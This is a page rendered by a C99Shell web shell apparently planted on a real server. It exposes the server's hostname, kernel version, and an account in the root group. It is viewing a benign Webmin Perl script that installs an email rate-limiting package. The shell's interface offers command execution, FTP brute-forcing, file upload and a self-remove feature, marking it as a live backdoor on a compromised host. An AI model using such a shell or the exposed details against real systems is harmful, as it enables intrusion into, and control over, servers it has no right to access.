!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     install_ratelimit.cgi (1.54 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Attempt to install email ratelimiting package

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'ratelimit_ecannot'});

&ui_print_header(undef, $text{'ratelimit_title4'}, "");

$cfile = &get_ratelimit_config_file();
$before = -e $cfile;

print &text('ratelimit_installing'),"<br>\n";
&$indent_print();
$ok = &install_ratelimit_package();
&$outdent_print();
print $ok ? $text{'ratelimit_installed'}
      : $text{'ratelimit_installfailed'},"<p>\n";

# If config didn't exist before, remove any list and racl lines
# to disable default greylisting
if (!$before && $ok) {
    print &text('ratelimit_clearing'),"<br>\n";
    &lock_file(&get_ratelimit_config_file());
    $conf = &get_ratelimit_config();
    @copy = @$conf;        # Make a copy because deleting changes $conf
    foreach my $c (@copy) {
        if ($c->{'name'} eq 'list' ||
            $c->{'name'} eq 'racl' && $c->{'values'}->[1] ne 'default'||
            $c->{'name'} eq 'acl' && $c->{'values'}->[1] ne 'default') {
            &save_ratelimit_directive($conf, $c, undef);
            }
        }
    ($nospf) = grep { $_->{'name'} eq 'nospf' } @$conf;
    if (!$nospf) {
        &save_ratelimit_directive($conf, undef,
            { 'name' => 'nospf',
              'values' => [] });
        }
    ($noauth) = grep { $_->{'name'} eq 'noauth' } @$conf;
    if (!$noauth) {
        &save_ratelimit_directive($conf, undef,
            { 'name' => 'noauth',
              'values' => [] });
        }
    &flush_file_lines();
    &unlock_file(&get_ratelimit_config_file());
    &$second_print($text{'setup_done'});
    }

&webmin_log("install", "ratelimit");
&ui_print_footer("ratelimit.cgi", $text{'ratelimit_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--